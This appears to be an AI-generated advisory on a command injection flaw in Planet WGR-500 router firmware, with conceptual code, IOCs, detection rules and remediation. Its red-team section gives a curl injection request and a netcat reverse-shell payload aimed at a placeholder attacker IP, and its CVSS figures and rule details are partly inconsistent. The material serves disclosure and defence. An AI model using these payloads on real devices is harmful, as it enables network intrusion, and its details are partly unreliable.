CVE-2025-54406

Executive Summary

CVE-2025-54406 is a critical OS command injection vulnerability in the Planet WGR-500 router firmware version 1.3411b190912. The flaw resides in the formPingCmd functionality, specifically within the counts request parameter. An unauthenticated attacker can send a series of specially crafted HTTP requests to inject arbitrary operating system commands, leading to full device compromise. With a CVSS score of 8.8, this vulnerability poses a severe risk to network integrity and confidentiality. No public proof-of-concept or patch is currently available, making immediate mitigation through network segmentation and monitoring essential.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• Threat Level: Critical – Remote, unauthenticated command execution with no user interaction required.

Deep Dive & Mechanics

The vulnerability exists in the formPingCmd functionality of the Planet WGR-500 router. This feature is designed to allow network administrators to ping external hosts for diagnostic purposes. However, the counts parameter, which specifies the number of ping packets to send, is not properly sanitized before being passed to the underlying operating system shell.

The router’s web interface likely constructs a command string similar to:

ping -c [counts] [target_ip]

By injecting shell metacharacters (e.g., ;, |, &, $(), backticks) into the counts parameter, an attacker can break out of the intended command and execute arbitrary OS commands. For example, a payload like 1; whoami would result in the execution of ping -c 1; whoami, which runs the whoami command after the ping.

The vulnerability is exploitable via a series of HTTP requests, meaning an attacker can chain multiple injections to achieve persistent access or exfiltrate data. Since the device is a router, successful exploitation could allow an attacker to pivot into the internal network, intercept traffic, or launch further attacks.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely uses a function like system() or exec() with unsanitized user input. For example:

void formPingCmd(char *counts, char *target) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c %s %s", counts, target);
    system(cmd);
}

Here, counts is directly concatenated into the command string without validation.

Patched Code (Conceptual): A patched version would validate the counts parameter to ensure it contains only numeric characters. For example:

void formPingCmd(char *counts, char *target) {
    // Validate counts is a positive integer
    for (int i = 0; counts[i] != '\0'; i++) {
        if (!isdigit(counts[i])) {
            // Reject invalid input
            return;
        }
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "ping -c %s %s", counts, target);
    system(cmd);
}

Alternatively, the patched code could use a safer API like execvp() with separate arguments to avoid shell injection entirely.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a Planet WGR-500 router with firmware version 1.3411b190912 in an isolated network.
2. Ensure the web interface is accessible from the attacker machine (e.g., via HTTP on port 80).
3. Use a tool like Burp Suite or curl to craft HTTP requests.

Exploitation Steps:

1. Identify the vulnerable endpoint: POST /goform/formPingCmd (or similar).
2. Send a malicious request with the counts parameter containing a command injection payload. Example using curl:

   curl -X POST http://<router_ip>/goform/formPingCmd \
     -d "target=8.8.8.8&counts=1; whoami"
   

3. Observe the output in the response or via a reverse shell.
4. For a reverse shell, use a payload like:

   counts=1; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker_ip> <port> > /tmp/f
   

5. Listen on the attacker machine:

   nc -lvnp <port>
   

Note: Since no public exploit exists, this is a conceptual demonstration. Always obtain proper authorization before testing.

Blue Team

Detection & Response:

1. Monitor HTTP POST requests to /goform/formPingCmd for abnormal counts parameter values.
2. Look for shell metacharacters (;, |, &, $, backticks) in the counts field.
3. Alert on multiple rapid requests to this endpoint from the same source IP.
4. Correlate with outbound connections from the router to unknown IPs on non-standard ports (potential reverse shells).
5. Isolate the router immediately if suspicious activity is detected.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /goform/formPingCmd with counts parameter containing shell metacharacters.
  • Outbound connections from the router to external IPs on ports 4444, 1337, or other common reverse shell ports.
  • Unusual ICMP traffic patterns (e.g., ping to external IPs with high packet counts).

• Host IOCs:

  • Unexpected processes running on the router (e.g., /bin/sh, nc, mkfifo).
  • Modified system binaries or scripts in /tmp or /var.
  • New cron jobs or startup scripts added by the attacker.

• Log IOCs:

  • Web server logs showing repeated POST requests to formPingCmd with non-numeric counts values.
  • System logs showing execution of commands like whoami, id, or ls via the web interface.

Detection Engineering

YARA Rule

rule CVE_2025_54406_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting CVE-2025-54406 in Planet WGR-500"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-54406"
    strings:
        $http_post = "POST /goform/formPingCmd" ascii wide nocase
        $counts_param = "counts=" ascii wide nocase
        $shell_meta1 = ";" ascii wide
        $shell_meta2 = "|" ascii wide
        $shell_meta3 = "&" ascii wide
        $shell_meta4 = "$(" ascii wide
        $shell_meta5 = "`" ascii wide
    condition:
        $http_post and $counts_param and (
            $shell_meta1 or $shell_meta2 or $shell_meta3 or $shell_meta4 or $shell_meta5
        )
}

Sigma Rule

title: CVE-2025-54406 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to formPingCmd with shell metacharacters in counts parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goform/formPingCmd'
        cs-uri-query|contains: 'counts='
    keywords:
        - ';'
        - '|'
        - '&'
        - '$('
        - '`'
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in network diagnostics (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-54406 - Planet WGR-500 Command Injection Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formPingCmd"; http_uri;
    content:"counts="; http_client_body;
    pcre:"/(;|\||&|\$\(|`)/Ri";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-54406;
)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the Planet WGR-500 router from untrusted networks (e.g., the internet). Place it behind a firewall that restricts access to the web interface.
2. Access Control: Disable remote management if not required. If necessary, restrict access to trusted IPs only.
3. Monitor Logs: Enable detailed logging on the router and monitor for suspicious POST requests to formPingCmd.

Long-Term Fixes:

1. Firmware Update: Contact Planet for a patched firmware version. If unavailable, consider replacing the device with a supported alternative.
2. Input Validation: If source code access is available, implement strict input validation for the counts parameter (numeric only).
3. Web Application Firewall (WAF): Deploy a WAF in front of the router to block command injection attempts.

Workaround:

• Disable the ping diagnostic feature entirely if not needed. This can often be done via the router's configuration interface.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.